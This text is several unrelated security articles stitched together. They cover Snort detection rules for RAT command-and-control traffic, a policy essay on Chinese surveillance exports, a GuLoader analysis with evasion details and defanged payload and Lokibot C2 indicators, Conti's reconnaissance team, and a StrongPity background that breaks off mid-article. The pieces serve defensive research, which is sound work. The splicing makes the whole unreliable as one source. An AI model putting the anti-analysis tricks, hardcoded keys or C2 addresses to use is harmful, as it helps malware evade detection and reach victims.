Remcos is remote access and surveillance software developed and distributed by an organization called Breaking Security. The Remcos RAT appeared in hacking forums in late 2016. Since then, it has been favored by many cyber criminals and even adopted by APT actors such as the Gorgon Group and Elfin Group. Remcos is primarily delivered to victims via malicious attachments in phishing emails. Its capabilities range from logging keystrokes to executing commands, stealing credentials, and capturing microphones and webcams. RC4 key and encrypted configuration data is kept in the resource section “SETTINGS” under “RCData”. The configuration contains the C&C address, port, mutex name, and encryption key for C&C communication.
Remcos communicates over non-HTTP/S channels/ports on custom protocols. The bot can be configured to communicate in plain text, which makes it fairly straightforward to detect C&C traffic. The custom protocol contains the header “[DataStart]” followed by the size of data and then followed by the exfiltrated data.
However, in most cases, the communication is encrypted using the RC4 algorithm with a key present in the configuration. It is not possible to match signatures in encrypted binary data. However, there is scope for heuristics-based detection. Upon execution, Remcos sends system information to its C&C server, and in return, the server replies with commands to execute. As this request and response is encrypted with the same symmetric key, the header “[DataStart]” will generate the same encrypted stream of bytes in place of the header for all communication generated by the executable.
## Crimson RAT
Crimson RAT has been favored by threat actors for targeted attacks on governments and organizations in the financial, healthcare, and space technology sectors. In 2016, it was found to be used in targeted attacks against Indian diplomatic and military resources. Last year, we found it targeting Indian financial institutions. Crimson is typically delivered to the victim via a phishing email containing a malicious .doc file or link to a malicious executable.
## NetWire RAT
The NetWire RAT is a malicious tool that emerged almost a decade ago and has been updated many times since then. NetWire has been detected in various campaigns such as Hydrojiin and advanced persistent threat (APT) attacks including SilverTerrier and The White Company. Typically, the NetWire RAT is downloaded as a second-stage payload to systems that have been compromised using other malware such as GuLoader. Also, it was found to be delivered via exploit kits.
NetWire communicates with custom protocols over TCP and communication is encrypted with AES encryption. Each packet begins with a length of data followed by one byte for the command and then followed by data. The initial packet sends a 32-byte seed value along with a 16-byte IV value and hardcoded password specified in the binary to generate the AES key. The C&C server generates a session key for this information.
## AsyncRAT
AsyncRAT is an open-source RAT designed to remotely monitor and control other computers through a secure encrypted connection. AsyncRAT provides functionality such as keylogger, screen viewer, command execution, and many more. Because of its feature of secure communication, AsyncRAT is used for malicious motives by cybercriminals and weaponized in APT campaigns such as "Operation Spalax." AsyncRAT has been found to be delivered via various methods such as spear-phishing, malvertising, and exploit kits.
AsyncRAT communicates over secure TCP channels. As the custom certificate is carried in the binary itself and matched against the C&C certificate, it is not possible to strip the TLS layer at the proxy/gateway level. However, such custom certificates can be filtered out and communication can be blocked by other preventing controls.
## Quasar RAT
Quasar is an open-source RAT that has been observed being used maliciously by cybercriminals and APT actors including “Gorgon Group” and “Patchwork." Its features include remote desktop, keylogging, password stealing, and many more. Quasar encrypts communications using an AES algorithm with a pre-shared key hardcoded in the client binary. It is not possible to scan for signature patterns on AES-encrypted traffic. However, the distinctive characteristics of encrypted data packets can be leveraged to flag Quasar's AES encrypted traffic.
The distinctive first 4 bytes of the payload can be used to identify Quasar traffic. Specifically, the first 4 bytes can identify the first packet sent from the server to the client following the TCP handshake. This packet is used to initiate the server/client authentication process. The first 4 bytes of the TCP payload contain "40 00 00 00" which is the size of the data that follows in little endian.
## Agent Tesla RAT
The Agent Tesla RAT has been very active and prevalent. Over the last couple of years, there have been huge ongoing phishing campaigns delivering Agent Tesla RAT. Agent Tesla has evolved over time, varying its behavior from campaign to campaign. Cybercriminals use this RAT to steal user credentials and spy on victims through screenshots, keyboard logging, and clipboard capturing. Credential stealing is supported across various software ranging from browsers to mail clients, VPNs, and wallets.
Agent Tesla communicates and exfiltrates data to its C&C server on HTTP, FTP, SMTP, and Telegram API. All collected data is encapsulated into an HTML page, and that HTML page is sent to a C&C over one of the aforementioned protocols. For communication over FTP, the HTML page is sent as a file to an FTP C&C server. The file name is generated in the format “PW_<UserName>_<OS>_<Timestamp>”.
For communication over SMTP, the HTML page is sent as a mail body to the C&C server. The mail subject is generated in the format “PW_<UserName>/<ComputerName>”.
## CyberGate RAT
CyberGate allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as download and execute additional malware. It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams.
The CyberGate RAT communicates on a custom protocol over TCP. CyberGate collects the info as per the command received from the C&C server, compresses data by ZLib, encrypts it by RC4 with a hardcoded key, and then sends it to the C&C server. Packets begin with the data length followed by a marker then by a new line delimiter followed by encrypted data. To flag the CyberGate RAT traffic, a combination of data length, marker, and delimiter can be considered.
## NanoCore RAT
Though NanoCore RAT emerged almost a decade ago, it is still one of the most prevalent RAT families, and multiple versions have appeared since then. NanoCore RAT is modular malware which comes with plugin support to expand its functionality. Basic plugins feature remote surveillance via remote desktop, monitor webcam, capture audio, etc. Additional plugins have been found to be used for cryptocurrency mining, ransomware attacks, credential stealing, and more. NanoCore RAT has been found to be delivered via phishing emails containing .doc macros that load a NanoCore binary with fileless infection techniques.
NanoCore communicates on a custom protocol over TCP and uses the DES algorithm with hardcoded key and IV value to encrypt the communication between bot and its C&C server. The communication packet begins with a 4-byte data length followed by DES-encrypted data of that length. It is not possible to scan for patterns in DES-encrypted data. However, we observed that the publicly available bot builder does not have an option for configuring the DES key. Thus, all samples generated from this bot-builder will have the same DES key, which is “722018788C294897”. This results in some encrypted traffic that will be the same across all bots generated using the publicly available bot-builder. One such command from the server is “is alive” which is 0x600; when encrypted with a key it will produce “c1 c3 d0 32 43 59 a1 78”.
However, there are other customized bot-builders available underground that allow the user to configure the key. For a more generic detection, we need to check for heuristics of data length value against TCP packet size and entropy of data. The first response from the server will always be 0x24 bytes in length, and the first 4 bytes will always be “20 00 00 00”. This response contains a GUID of plugins that the bot will load. The bot responds back to this with 0x12 bytes data, which will always start with the 4-byte stream “08 00 00 00”. These characteristics can be leveraged for detection.
## Gh0st RAT
Gh0st is an open-source RAT that has been observed being used maliciously by cybercriminals and APT actors such as “TA459” and “APT18." Its features include remote desktop, logging keystrokes, stealing credentials, capturing microphone and webcam, and many more. The source code of the Gh0stRAT is publicly available and attackers have customized it to suit their needs. Thus, many variants have been discovered.
Gh0st communicates on a custom protocol over TCP. It uses a sequential byte-to-byte encryption algorithm to encrypt communication with the C&C server. Upon execution, it collects system data such as system information, version, processor description, installed antivirus, etc. Then, a marker and data length are prepended to this data. Finally, collected data is encrypted with a single-byte operation of XOR and SUB on each byte.
## njRAT
Discovered almost a decade ago, njRAT, also known as Bladabindi, is the most active and prevalent remote access trojan. It allows attackers to do surveillance and control the victim's computer. Its features include remote desktop, logging keystrokes, stealing credentials, capturing microphone and webcam, and many more. njRAT is mostly found to be delivered via phishing email campaigns containing malicious Word document attachments. It is also found to be delivered by masquerading as a legitimate application installer uploaded to file-sharing services and luring victims via drive-by download campaigns.
Since the leak of source code in 2013, njRAT has become widely adopted by cybercriminals and APT actors including Gorgon Group and APT41. Numerous variants have been detected over the years. Some variants have been found to be communicating over standard HTTP protocol and others were found to be communicating over custom protocols over TCP. The packet begins with data length in a decimal format null-terminated string followed by command and then delimiter followed by exfiltrated data.
## Coverage
Zscaler’s multilayered cloud security platform detects indicators at various levels. The following are the Cloud IPS (non-HTTP/S) signatures that enable detection of the above RATs:
- Win32.Backdoor.RemcosRAT
- Win32.Backdoor.NetwiredRC
- Win32.Backdoor.CrimsonRAT
- Win32.Backdoor.AsyncRAT
- Win32.Backdoor.QuasarRAT
- Win32.Backdoor.AgentTesla
- Win32.Backdoor.Cybergate
- Win32.Backdoor.Nanocore
- Win32.Backdoor.Gh0stRAT
- Win32.Backdoor.NjRat
## Conclusion
All of the above-discussed RATs are communicating on custom and encrypted protocols over TCP. When communication is encrypted, it is more difficult to scan for their signature patterns in network traffic. However, we have discussed alternative ways to flag RAT traffic based on the heuristics of encrypted data. Four properties that are common to most RAT traffic on non-HTTP/S are:
1. Packets start with a length of encrypted data. Adding 4 to the little endian value of the first 4 should give the total length of TCP data.
2. Entropy of data followed after data length is high.
3. The C&C server responds in the same packet format as the client.
4. Often, server responses have lengths in specific ranges as they send only commands.
## Snort Rules
```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Zscaler Win32.Backdoor.CrimsonRat - CNC command"; flow:established,to_client; content:"|00 00 00 00|"; offset: 1; depth: 4; pcre:"/\x00\x00\x00\x00(thumb|filsz|rupth|dowf|endpo|scrsz|cscreen|dirs|stops|scren|cnls|udlt|delt|afile|listf|file|info|runf|fles|dowr|info|fldr)+=/"; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.NetWiredRC - Check-in request"; flow:established,to_server; dsize:69; content:"|41 00 00 00 99|"; offset:0; depth:5; flowbits:set,ZS.NetwireRAT.Client; flowbits:noalert; metadata: classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.NetWiredRC - Check-in response"; flow:established,to_server; dsize:5; content:"|3f 00 00 00 9b|"; flowbits:isset,ZS.NetwireRAT.Client; metadata: classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Zscaler Win32.Backdoor.AsyncRAT - Malicious SSL Cert"; flow:established,to_client; content:"|16 03 01|"; offset:0; depth:3; content:"AsyncRAT"; distance:0; fast_pattern; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Zscaler Win32.Backdoor.QuasarRAT - CNC response header"; flow:established,to_client; dsize:68; content:"|40 00 00 00|"; offset: 0; depth: 4; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.AgentTesla CNC via FTP/SMTP"; flow:established,to_server; content:"|3C|html|3E|Time|3A|"; content:"|3C|br|3E|User Name|3A|"; content:"|3C|br|3E|Computer Name|3A|"; distance: 0; content: "|3C|br|3E|OSFullName|3A|"; distance: 0; content:"CPU|3A|"; distance: 0; content:"|3C|br|3E|RAM|3A|"; distance: 0; content: "URL|3A|"; distance: 0; content: "Application|3A|"; distance: 0; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> any any (msg:"Zscaler Win32.Backdoor.CyberGate - Data Exfiltration"; flow:established,to_server; dsize:40<>300; pcre:"/\d{2,3}[#$]{4,6}\x0d\x0a/"; content:"|23 23 24 23 23 0d 0a|"; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.Nanocore Pulse check"; flow:established,to_server; dsize:12; content:"|08 00 00 00|"; offset: 0; depth: 4; content:"/c1 c3 d0 32 43 59 a1 78|"; distance:0; within:8; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.Nanocore - Generic C&C command (request)"; flow:established,to_server; flowbits:isset,ZS.NanocoreGen; dsize:12; content:"|08 00 00 00|"; offset:0; depth:4; byte_test:1,!=,0,5,relative; reference:url,https://zscaler.com;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"Zscaler Win32.Backdoor.Nanocore - Generic C&C command (response)"; flow:established,to_client; flowbits:noalert; flowbits:set,ZS.NanocoreGen; content:"|20 00 00 00|"; offset:0; depth:4; byte_test:1,!=,0,5,relative; dsize:36; reference:url,https://zscaler.com;)
alert tcp any any -> any any (msg:"Zscaler Win32.Backdoor.Gh0stRAT - Possible Data Exfil activity"; flow:to_server,established; byte_extract:1,10,varbyte; byte_test:1,!=,varbyte,11; byte_test:1,=,varbyte,12; byte_test:1,=,varbyte,13; byte_test:1,!=,varbyte,15; byte_extract:4,16,vardword; byte_test:4,=,vardword,20; byte_test:4,=,vardword,24; byte_test:4,=,vardword,28; byte_test:4,!=,vardword,0; sid:8000031; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.NjRat - Data Exfil activity"; flow:to_server,established; content:"|00|inf"; offset:3; depth:4; pcre:"/\d{1,3}\x00\w{1,3}/"; pcre:"/(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?/"; flowbits:isset,ZS.njrat; flowbits:unset,ZS.njrat; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Zscaler Win32.Backdoor.NjRat - Data Exfil activity"; flow:to_server,established; content:"|00|ll"; offset:3; depth:3; pcre:"/^\d{1,3}\x00/"; pcre:"/(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?/"; flowbits:set,ZS.njrat; flowbits:noalert; classtype:trojan-activity; reference:url,https://research.zscaler.com;)
``` |
# China’s Export of Intrusive Artificial Intelligence
China’s export of AI-enabled technologies and ideologies to illiberal regimes around the world enables authoritarianism and systemic oppression and degrades democratic values.
Chinese digital dominance poses both a critical cybersecurity threat to the world and a growing threat to competitors’ markets through the assertion of new Chinese-style standards of internet governance. Digital dominance benefits the Chinese government in several ways. By building out and controlling access to data infrastructure in foreign countries, China is establishing new footholds for the flows of information and Chinese surveillance technology. This examination weighs the privacy and security risks associated with Beijing’s growing global influence from new markets. And by hosting foreign companies through programs such as the Digital Silk Road Initiative, the Chinese government has access to valuable intelligence and intellectual property if unchecked by the host country. Additionally, China is actively developing exploits for the global internet of things (IoT), giving them an additional layer of access to individual and societal behavior data.
## Executive Summary
Through the Digital Silk Road Initiative (DSR), announced in 2015, the People’s Republic of China (PRC) is building an expansive global data infrastructure and exporting surveillance technologies to dictators and illiberal regimes throughout the developing world, in some cases trading technology for access to sensitive user data and facial recognition intelligence. Domestically, China uses this type of technology to assert authority over its citizens, censor the media, quell protests, and systematically oppress religious minorities. Now, 80 countries are enabled to do the same with Chinese surveillance technology.
### Key Judgments
Many developing countries are vulnerable to the exploitation of their data by corporations and powerful governments due to a lack of direct experience in cyber defense and an eagerness to catch up with competitors, especially in developing regions of the world such as Latin America and Africa. The export of Chinese digital surveillance technology poses a critical privacy risk to citizens and businesses alike.
1. China’s DSR projects in the least developed regions of the world create a power imbalance between China and the recipient nations, resulting in a high risk for privacy and cybersecurity in those regions.
China’s development of internet infrastructure in foreign countries opens avenues for Chinese intelligence services abroad and poses a growing risk for cyber espionage intrusion campaigns.
China’s growing presence and influence in the developing world will pose challenges for democratic institutions and markets as it co-opts new alliances through coercion and manipulation. China’s intelligence services have unprecedented access to foreign user data and vulnerability research through its fused civil-military research ecosystem. China’s dominance in the IoT market ensures continued access to this data, which can be exploited and developed for multiple purposes.
The CCP will increase influence operations and espionage operations globally as the 2022 Winter Olympics in Beijing nears. Its focus will be on modeling the benefits of a surveillance state, crushing pro-democracy movements, and managing the messaging around its minority human rights violations in Xinjiang, Hong Kong, and Tibet.
## Background
China’s global digital dominance is developing through a program called the Digital Silk Road Initiative (DSR), part of the more widely known Belt and Road Initiative (BRI). Launched in 2015, the DSR is a private-sector agenda that aims to extend China’s digital presence abroad, enhancing its commercial and political influence. The DSR receives heavy support from the state. In its initial stages, Chinese companies have answered demands for digital infrastructure and connectivity in Asia, Africa, and Latin America. Data centers, underwater and underground fiber-optic cable, telecommunications networks, smart education, cloud storage, and online surveillance have been constructed, creating a backbone for the flow of data to and from developing regions.
China is promoting strict global internet regulation by reinventing the internet, enabling nation-states to take control, and replacing the free, open, and decentralized internet infrastructure that has contributed to shaping the digital experience. In September 2019, Huawei engineers proposed the “New IP [internet protocol] Plan” to delegates from over 40 countries. Suggesting the current internet as outdated and limited, the engineers presented the new plan: a top-down design, enabling nation-states to more efficiently police their digital property and populations.
The CCP advocates for “cyber sovereignty” (网络主权), the supreme right to govern its own internet, and maintains rigid control over the operation and use of its online infrastructure, its internet-connected devices, and the online behavior of its citizens. President Xi Jinping is attempting to revolutionize international norms and institutions to accommodate the Chinese model of authoritarian governance while insulating itself from global accountability.
## Access to the Global Internet of Things
China poses a grave threat to global privacy and security as its state-sponsored surveillance apparatuses are accessing IoT data well in excess of accepted international norms. According to a study by global market research firm International Data Corporation (IDC), the Chinese IoT market will reach $300 billion by 2024, putting it ahead of all competition. No other government in the world has this level of IoT market domination and access to the IoT data of foreign consumers. The collection and exploitation of IoT data is regarded by the CCP as an economic and technological “strategic high ground.” The data is fed into a fused research ecosystem involving PRC intelligence and military actors who will have access to breakthroughs in IoT vulnerability research. Additionally, China’s increased effort to influence and set international IoT standards is a critical part of its ambitious state-directed plan to achieve dominance in the IoT industry.
Chinese companies can access IoT data in five main ways:
1. At the user level, Chinese companies can access user data simply from sales and use of their IoT products, including abusive terms of service and usage agreements.
2. Device-level access through device manufacturing vulnerabilities and backdoors open up opportunities for outside entities to collect information at scale.
3. At the corporate level, Chinese companies can acquire foreign IoT companies and the data they have accumulated through their products, or buy foreign data through a third-party vendor.
4. The Chinese government can subpoena private data at will from foreign businesses (in China) through its Cybersecurity Law.
5. Collection of user data, human behavior, and device information from Chinese-made applications used worldwide, including social media, games, IoT firmware, and business software.
This confluence of factors, including the availability of this technology to repressive regimes, the established use of this surveillance technology for repression of minority groups, and the advancements in grouping individuals by appearance, has serious implications for minorities and repressed peoples around the world. |
# The Evolution of GuLoader
## Introduction
In this Spotlight, we take another look at GuLoader. The malware family has been active since at least 2020. It gained attention because of its evasion techniques and its abuse of legitimate and popular cloud services to host its malicious payloads. The downloader is commonly used to deliver other malware families such as FormBook, XLoader, and Lokibot. After we took a closer look at GuLoader’s evasion techniques in a Threat Bulletin, we observed some additional behavior later that year.
Recently, we collected samples that are different from those we have seen before. The file that executes GuLoader’s shellcode has changed, and the functionality of GuLoader has been extended compared to our last Spotlight. The sample in discussion leads to the execution of Lokibot as indicated by the extracted configurations.
## GuLoader’s Delivery
The main functionality of GuLoader is implemented as shellcode, and typically an executable takes care of loading the shellcode into memory and transferring the execution flow to it. So far, this executable was written in VB6. However, the executable in this analysis is a signed NSIS installer that leads to the execution of GuLoader.
During the installation process, the installer extracts multiple files to the hard disk, including a DLL (Dynamic Link Library) named “System.dll” and a file named “Gestisk.For.” While the name for the DLL seems to be consistent across similar samples, the name of the second file can vary. After writing “System.dll” to the hard disk, it is loaded by the installer and used to call WinAPI functions to allocate memory where the shellcode will end up later on. Previous samples written in VB6 called the WinAPI functions directly instead of using a separate DLL.
## GuLoader’s Evolution
At first glance, we can see the typical behavior of GuLoader. It tries to detect an analysis environment, and if none is found, it injects the shellcode into another process instance of the executable. Next, the second instance downloads and executes the payload from the well-known cloud service Google Drive. When comparing the memory dump of the shellcode with memory dumps from older samples, we can see that GuLoader stopped storing the strings in plaintext. Instead, they are decrypted at runtime and stored in a separate memory region.
VMRay Analyzer uses special triggers that allow obtaining the region which contains the decrypted strings.
Moving on to the observed function calls, we can see that the sample utilizes additional WinAPI functions compared to previous ones. The following additional function calls were observed:
- RtlAddVectoredExceptionHandler
- EnumDeviceDrivers
- GetDeviceDriverBaseNameA
- MsiEnumProductsA
- MsiGetProductInfoA
- OpenSCManagerA
- EnumServicesStatusA
While we have seen calls to functions related to enumerating products and services in previous samples, the registration of a new exception handler and the examination of device drivers have been added recently. This leads to the assumption that GuLoader is still under active development.
Given the function log, we can see that the address of the exception handler is part of the shellcode. This exception handler first checks if the exception was raised because of a software breakpoint. Next, the function inspects the CPU registers to detect the presence of hardware breakpoints. If no breakpoint is set, the handler continues to change the instruction pointer. The new value depends on the current instruction pointer and the byte followed after the int3 instruction that triggered the exception handler. If a hardware breakpoint is set, the handler doesn’t change the instruction pointer, subsequently executing invalid instructions. Additionally, the function checks for int3 instructions between the current and the new instruction pointer value.
By registering the exception handler, GuLoader uses int3 instructions as relative jumps. Because debuggers like WinDbg and x64dbg use int3 instructions for software breakpoints, this approach interferes with debugging if the debugger handles these exceptions first.
A deeper look at the function log reveals that multiple WinAPI functions are called from the same address within the shellcode. This is an indicator that some kind of wrapper function takes care of calling the WinAPI functions. In this example, GuLoader uses such a function to partially overwrite its code before calling the actual WinAPI function. By overwriting code before the calls, GuLoader avoids being extracted correctly by analysis tools that use WinAPI functions as memory dump triggers.
Looking at the list of called functions, we can see that GuLoader gathers information about:
- The name of installed drivers (EnumDeviceDrivers and GetDeviceDriverBaseNameA)
- The publisher of installed products (MsiEnumProductsA and MsiGetProductInfoA)
- Services in the SERVICES_ACTIVE_DATABASE
The resulting strings are then hashed using a customized djb2 algorithm and compared against a block list of pre-computed values of analysis environment artifacts.
If the calculated value is present in the block list, GuLoader stops its execution and therefore evades the analysis. This technique was used earlier with the original djb2 algorithm. In this particular sample, the djb2 algorithm is customized in a way that the hash is xored with the key 0x0C93EB2D8 in each iteration.
In general, values of the block list are indicators analysts can take advantage of for detection and identification as long as the algorithm remains the same across samples. GuLoader prevents this by slightly changing the algorithm.
Finally, GuLoader creates another process of the installer, injects code, and delivers the payload. In this case, the payload is Lokibot and hosted on Google Drive.
VMRay Analyzer extracts the malware configuration for both malware families, which eases the detection and identification of infected systems.
## Extracted Payload URLs
In addition to Google Drive being abused to host the malicious payload, we have seen other services in our extracted configurations. While Google Drive remains the most common one, other cloud services like Microsoft OneDrive are used as well.
## Conclusion
In this post, we took another look at GuLoader with a focus on behavioral differences compared to past samples. We have seen that not only the executable that leads to GuLoader’s shellcode has been changed, but also its functionality has been further extended. While GuLoader utilizes new techniques to search for artifacts revealing an analysis environment, some of the existing logic changed to further thwart detection and analysis attempts. Given VMRay Analyzer’s unique monitoring approach, GuLoader can’t detect the presence of the sandbox and reveal its malicious behavior leading to the delivery of Lokibot. The extracted malware configuration for both families allows analysts and incident responders to quickly take actions to prevent the infection and identify already compromised machines.
## IOCs
**Initial Sample:**
e7ee8ff4872d57b2fba736ee6556e3f92a3fc1c3c8738c50cc8b1e6acbb4379f
**GuLoader Payload URL:**
hxxps://drive[.]google[.]com/uc?export=download&id=1SrbfkJ9_Bx7Q9qhzb5JeLy5TlBRjWwjF
**Lokibot C&Cs:**
alphastand[.]trade/alien/fre.php
alphastand[.]top/alien/fre.php
alphastand[.]win/alien/fre.php
kbfvzoboss[.]bid/alien/fre.php
hxxp://198[.]187[.]30[.]47/p.php?id=67243588715181780
**Author:**
Pascal Brackmann
Pascal is a Threat Researcher at VMRay Labs. His recent projects cover in-depth analysis of emerging and evolving malware. |
# Conti Puts the ‘Organized’ in Organized Crime
Combing through business intelligence platforms to find new prospects. Deciding whether to focus on huge multinational companies or small- and medium-sized businesses. Finding the right person to contact in the organization. Developing a script that will land information that’s critically needed for success.
The above scenario is one that may seem familiar to anyone that works in sales. However, this set of actions has also been adopted by organizations which make money by less conventional means, particularly criminals who are responsible for ransomware attacks. Due in part to the leak of information tied to the Conti ransomware group, Intel 471 was able to piece together the inner workings of the notorious criminal syndicate. With this information, researchers were able to understand how Conti conducted its actions, which often mirrored processes used by countless legitimate businesses.
Intel 471 discovered communications tied to one division of Conti which had its own dedicated mission. This team was responsible for collecting information on targets for ongoing and future attacks, drafting phishing scripts that were used over the phone and sent via email, and applying multiple forms of pressure in the course of ransomware negotiations. The team had access to several open-source intelligence (OSINT) and business intelligence tools, as well as a legal “expert” who provided advice on how to threaten victims with litigation or official complaints that would be sent to government authorities. In chats found by Intel 471 researchers, some team members were unaware they were working for criminals, instead believing they worked for a company providing competitive intelligence to their customer base.
## Team Building!
The division, known inside Conti as the “Fire Team,” started in July 2021 as a way for the gang to invent cover stories for phishing phone calls to targeted personnel, as well as randomize spam letters to potential victims. By November 2021, the team consisted of 10 people, which prepared operational and revenue reports on potential targets. The team leader allegedly made US $3,000 per month while members were paid US $2,000 per month. In addition to their salary, team members also received a one percent cut of any ransom they helped negotiate. While ransom cuts were dispersed via cryptocurrency, some salaries were paid via prepaid bank cards.
Despite initially being stood up to do reconnaissance on future targets, the team started ransomware negotiations as more members were brought on board.
## I'm Going to Need Those TPS Reports... ASAP
The reports put together by the team contained general information on targeted companies that included operations and revenue. However, the team focused heavily on the target’s personnel. The reports were required to include phone numbers, email addresses and social media accounts of the company’s leadership, mid-level employees, and some information technology personnel. Leaders requested contact information of at least 20 personnel per report, with encouragement to focus on female employees.
Some people were also tasked to collect open source information on a target’s network infrastructure following directions that included:
- Internet domains
- WHOIS data like IP notations, domain registrar, age, and who purchased the domain
- Subdomains, with IP addresses if possible
- SSL certificates in raw format, open TCP ports, and vulnerabilities found using OSINT tools
“Remember, any information about the company may be useful for its competitor (our client), therefore, do not disregard any nuances that may seem insignificant at first glance. We need EVERYTHING!,” a team leader posted in a Russian-language chat discovered by Intel 471 researchers.
The team apparently utilized several tools and subscription-based services to gather the information required. Those most frequently mentioned included the SignalHire contact information platform, the SpiderFoot OSINT tool and the Shodan search engine. Another team member brought on in November 2021 apparently also had access to a paid version of the ZoomInfo business intelligence platform.
## Companies That Made the Cut
In the early stages of standing up the division, the higher-level leaders of Conti asked for draft reports on a variety of high-profile technology, pharmaceutical and finance industry companies. However, a month later, the team changed direction, focusing on organizations in the aerospace, chemical, defense, energy, hospitality and medical equipment industries, particularly those with an annual revenue from US $500 million to US $5 billion.
As affiliates launched attacks, reconnaissance assignments changed. Actors from other parts of the group told the team to find information on dental clinics and online stores, as they were considered to be the “best” targets. Preference also was given to insurance, law and logistics companies.
## Circling Back on Deliverables
The Fire Team’s leader took the information gathered in the reports and used it for various ransomware negotiations, often collaborating with other people working within the syndicate. Some of these actors managed calls to Conti victims and potential targets, while others would jump into ongoing conversations and leave messages for victims, even if they did not start the negotiation process. Additionally, an alleged “lawyer” familiar with U.S. and European legislation sought additional ways to pressure hacked companies with threats of litigation from customers or employees, or official complaints that would be sent to government authorities. This set of actors would also have side conversations about ransomware victims, primarily focused on data that would be posted on the Conti name-and-shame blog from time to time.
Over the course of the conversations Intel 471 researchers observed, other actors gave the Fire Team feedback on what types of companies it should reconnaissance on in the future. One actor specifically mentioned that they were having trouble convincing JP Morgan Chase employees over the phone to install malware. In turn the actor suggested targeting smaller companies with less strict security policies.
## No Job Is Perfect
Even criminal syndicates can’t avoid office politics. Despite the structure set up by Conti, team members still complained to their bosses and one another about time spent working and the amount of money each member made. One team member who received 0.5% of ransom payouts often claimed to have a much higher workload compared to the team leader and complained about being exploited. The team leader often called this actor “greedy” and actively sought to give this person more work and pay the actor less.
## Ransomware, Inc.
One of the biggest mysteries for years when discussing ransomware was wondering how these criminal groups conducted operations. With the Conti leaks, the information security community now has the best look it's ever gotten at what makes these criminal groups tick. As Intel 471’s analysis shows, these groups are set up to conduct crimes as if they were a legitimate business. There are divisions dedicated to examining every facet of a potential target — no matter the size — in the hopes that the information can help them extract more money post-attack. The stereotype of young men in a basement coding their way into international crime sprees is woefully inaccurate. Ransomware-as-a-service groups operate like corporate entities, with payroll, revenue goals and salary bonuses worked into their operations. By understanding their inner workings, security teams can better adjust their threat models and take the necessary steps to make sure that security measures make similar reconnaissance efforts worthless. |
# Recover Your Files with StrongPity
## Introduction
First, a warm welcome to the new subscribers of the Anchored Narratives mailing list. For those who are new to the list, I regularly pick an exciting tweet that matches my intelligence requirements and generates anchored stories on geopolitical (cyber) threats, digital forensics, and crime. Usually, I pick a story that I have no real in-depth or prior knowledge about. The goal is to understand a particular topic better, improve my investigation or writing skills, and generate a reliable story anchored with evidence. This time the story will start with a tweet that matched my intelligence requirements on 15 March 2021:
"#apt #strongpity new sample hunted md5:95ff679f525c44e4abac8e61f8052ca5 c2: transferprotocolpolicy.com"
The information in the tweet tells people with interest in this field that someone found a malicious malware sample with a unique value “95ff679f525c44e4abac8e61f8052ca5” from an Advanced Persistent Threat actor group called StrongPity. APT is an industry name for referring to states involved in cyber operations. The referred malware sample communicates to its command and control server “transferprotocolpolicy.com” (c2) for further instructions. This tweet triggered some personal interest to start a deep dive into this nation-state actor group. They have been around for many years, deploy interesting tactics at scale, and are observed in geopolitical disputes. This article will outline the background of this alleged Turkish nation-state actor or nation-state-sponsored group. Furthermore, the malicious backdoor will be reversed briefly and based on that intelligence to hunt for additional indicators, and finally, the article will end with some observations and a conclusion. Let’s go.
## Background StrongPity
The StrongPity actor group has been around since 2012 and employs the same tactics, namely adding backdoors to legitimate software used by specific users. Some call this technique water holing. The group is also referred to as APT-C-41 and PROMETHIUM. In 2016, StrongPity was detected by Kaspersky in a campaign that targeted specific users in Belgium and Italy who were interested in Truecrypt and WinRAR software. The software packages are used by niche user groups interested in solid encryption. The actor group set up a domain name that mimicked the official WinRAR distribution site and placed links to the trojanized WinRAR installer on a certified distributor website. In the same year, Microsoft observed a campaign by the same group targeting specific users with a zero-day vulnerability in Adobe Flash. The zero-day exploit was tracked as CVE-2016-4117. In 2017, ESET published research where they detected StrongPity while tracking the FinFisher group and an Internet Service Provider's involvement. Their analysis revealed that users were redirected to trojanized software packages. Some of the targeted software were the following:
- CCleaner v 5.34
- Driver Booster
- The Opera Browser
- Skype
- The VLC Media Player v2.2.6 (32bit)
- WinRAR 5.50
In their research, ESET states that an exfiltration component in the StrongPity backdoor collects files with the following extensions:
- .ppt
- .pptx
- .xls
- .xlsx
- .txt
- .doc
- .docx
- .pdf
- .rtf
The stolen files are sent to a central server operated by the StrongPity actor, and the backdoor waits for further instructions.
By 2018, Citizenlab found several so-called deep packet inspection devices in Türk Telekom's network where users were redirected to download trojanized installers of Avast Antivirus, CCleaner, Opera, and 7-Zip. The surveillance was set up so that users who searched for official downloads on the authorized vendor websites were silently redirected to the trojanized versions of Avast, CCleaner, etc. Citizenlab referred to the malware as StrongPity, which was used after they stopped using FinFisher spyware. Citizenlab also described that these injection techniques were also observed by other nation-states, China (Great Cannon) and the US (NSA’s QUANTUM).
